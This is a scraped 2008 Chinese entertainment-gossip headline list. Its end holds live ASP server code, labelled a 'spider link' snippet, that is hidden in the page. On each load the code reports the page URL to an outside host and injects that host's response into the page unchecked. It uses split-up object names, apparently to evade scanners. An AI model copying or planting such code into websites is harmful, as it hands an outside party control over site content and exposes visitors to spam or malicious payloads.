| · 朱时茂是王志文夫妇的红娘 |
2008-06-12 |
0 |
|
| ·[图文] 明星自扮粉丝在博客中“自卖自夸”被曝光 |
2008-06-11 |
0 |
|
| ·[图文] 温岚为新歌苦练舞技 竟把桌面跳裂 |
2008-06-10 |
0 |
|
| ·[图文] 拍摄撞船镜头时起火一死一伤 |
2008-06-10 |
0 |
|
| ·[图文] 波兰艺术家绘出李小龙等已故名人衰老面孔 |
2008-06-06 |
0 |
|
| ·[图文] 欧阳奋强20年前为演宝玉垫下巴 |
2008-06-05 |
0 |
|
| ·[图文] 艳照门香港发布者郭镇玮等待受审 |
2008-06-05 |
0 |
|
| ·[图文] 席琳-迪翁每天用5吨水 |
2008-06-04 |
0 |
|
| ·[图文] 罗志祥拍啤酒广告差点醉倒 |
2008-06-03 |
0 |
|
| · 昆明两市民以侮辱罪起诉莎朗斯通 索赔900万美元 |
2008-06-02 |
0 |
|
| · 感人诗《孩子快抓紧妈妈的手》冒出多位作者 |
2008-06-02 |
0 |
|
| ·[图文] 周杰伦遭遇“傍名牌” |
2008-05-29 |
0 |
|
| ·[图文] 一名学生演员被刺身亡 |
2008-05-27 |
0 |
|
| ·[图文] 韩国外遇女明星要求通奸非刑事化 |
2008-05-26 |
0 |
|
| · 老外无知 章子怡爆粗口失声痛哭 |
2008-05-22 |
0 |
|
| ·[图文] 重庆地震报道违背社会公德被停刊 |
2008-05-21 |
0 |
|
| ·[图文] 刘德华双胞女儿原是新加坡组合 |
2008-05-16 |
0 |
|
| ·[图文] 林志颖京城餐厅老鼠四处流窜 |
2008-05-15 |
0 |
|
| · 陈晓旭周年祭落葬北京 陈父现场叩谢 |
2008-05-14 |
0 |
|
| ·[图文] 酒吧称大陆张柏芝演绎艳照门惹争议 |
2008-05-13 |
0 |
|
| · 孙海英养藏獒 吕丽萍姑姑被咬伤 |
2008-05-12 |
0 |
|
| · 百余钢丝未见郭德纲与BTV节目组发生冲突 |
2008-05-08 |
0 |
|
| · 严父寄托自己的音乐梦想 郎朗曾被逼自杀 |
2008-05-07 |
0 |
|
| ·[图文] 导演性丑闻事件 张钰成被告却不出庭 |
2008-05-06 |
0 |
|
| · “洪七公”成为烧鸡商标 |
2008-05-05 |
0 |
|
| ·[图文] 惠特尼·休斯顿女儿曾挥刀刺母 接受精神治疗 |
2008-05-04 |
0 |
|
| ·[图文] 沙发缠绵 陈冠希最新艳照乃旧MV |
2008-04-30 |
0 |
|
| ·[图文] 抗日名将妹妹辟谣：关之琳不是我哥哥孙女 |
2008-04-29 |
0 |
|
| ·[图文] 变性女主播四川登台 有小伙尖叫我爱你 |
2008-04-28 |
0 |
|
| · 艳照门案今日开庭 奇拿欲再放出猛料 |
2008-04-24 |
0 |
|
<%
''''--------- 蜘蛛链 自动获取链接代码（ASP V20071206） 开始 ---------''''
'' 参数宽(width)、高(height)、行(row)、列(col)可自行调整
Response.Write GetLink("88" , "31" , "1" , "6" , "1")
Function GetLink(width,height,row,col,secure)
On Error Resume Next
Dim Url
Url = "http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("URL")
If Trim(Request.QueryString) <> "" Then Url = Url & "?" & Trim(Request.QueryString)
Url = "http://www.990990.cn/put.php?row=" & row & "&col=" & col & "&width=" & width & "&height=" & height & "&url=" & Server.URLEncode(Url) & "&secure=" & secure
GetLink = GetHttpPage(Url)
If Err.Number <> 0 Then
GetLink = ""
Err.Clear
End If
End Function
Function GetHttpPage(HttpUrl)
If IsNull(HttpUrl)=True Or Len(HttpUrl)<18 Then
GetHttpPage=""
Exit Function
End If
Dim Http
Set Http=server.createobject("MSX" & "ML2.XM" & "LHT" & "TP")
Http.open "GET",HttpUrl,False
Http.Send()
If Http.Readystate<>4 then
Set Http=Nothing
GetHttpPage=""
Exit function
End if
GetHTTPPage=bytesToBSTR(Http.responseBody,"utf-8")
Set Http=Nothing
If Err.number<>0 then
Err.Clear
End If
End Function
Function BytesToBstr(Body,Cset)
Dim Objstream
Set Objstream = Server.CreateObject("ad" & "odb.str" & "eam")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
''''--------- 蜘蛛链 自动获取链接代码（ASP V20071206） 结束 ---------''''
%>
